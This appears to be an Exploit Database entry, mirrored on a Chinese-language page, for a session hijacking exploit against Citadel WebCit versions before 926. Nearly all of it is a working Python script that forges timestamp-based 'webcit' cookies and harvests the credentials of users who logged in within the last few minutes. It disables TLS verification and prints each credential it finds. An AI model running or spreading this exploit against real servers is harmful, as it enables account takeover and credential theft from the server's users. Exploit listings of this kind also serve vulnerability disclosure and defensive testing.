Citadel WebCit < 926 - Session Hijacking Exploit

Exploit Database
140 阅读

作者： Simone Quatrini

日期： 2020-10-30
类别：
- webapps
平台：
- multiple
来源：https://www.exploit-db.com/exploits/48975/

# Exploit Title: Citadel WebCit < 926 - Session Hijacking Exploit

# Exploit Author: Simone Quatrini

# Version: 926

#!/usr/bin/env python3

import argparse

import requests

import time

import sys

from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

parser = argparse.ArgumentParser(description="Webcit <= 926 Session Hijacking")

parser.add_argument('--url', action='store', dest='url', required=True, help="Full URL and port e.g.: http://192.168.1.111:8080/")

parser.add_argument('--verbose', '-v', action='store_true', required=False, help="Shows the full response")

args = parser.parse_args()

url = args.url

verbose = args.verbose

def check_endpoint(url):

headers = {'User-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36'}

response = requests.get(url+'/dotskip?room=_BASEROOM_', headers=headers, verify=False)

if response.status_code == 200:

print("[+] WebCit is reachable\n")

else:

print("\n[-] WebCit response code: ", response.status_code)

sys.exit()

def harvesting(url, verbose):

#Current Timestamp

epoch_time = int(time.time())

#harvesting technique only search for user that logged-in within the last ~20 minutes.

#increase the search_back_in variable's number to search even backwards (it will require more time and requests)

#Also, make sure that you're using the same timezone of the server

search_back_in = 999

print("[/] Credential harvesting in progress...")

while search_back_in > 0:

payload = str(epoch_time-search_back_in)+'|||||'

payload_hex = payload.encode(encoding='utf_8').hex()

headers = {'User-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36','Cookie':'webcit='+payload_hex+''}

response = requests.get(url+'/dotskip?room=_BASEROOM_', headers=headers, verify=False)

try:

cookievalue = bytes.fromhex(response.cookies['webcit'])

cookievalue = cookievalue.decode(encoding='utf_8')

parts = cookievalue.split('|')

if ((len(parts[1])) and (len(parts[2]))):

print("Credential found: ", cookievalue)

except:

if(verbose):

print("[-] Invalid returned cookie value not valid, skipping")

search_back_in = search_back_in - 1

print("[+] Credential harvesting done.")

# Default actions if only '--url' is passed

check_endpoint(url)

harvesting(url, verbose)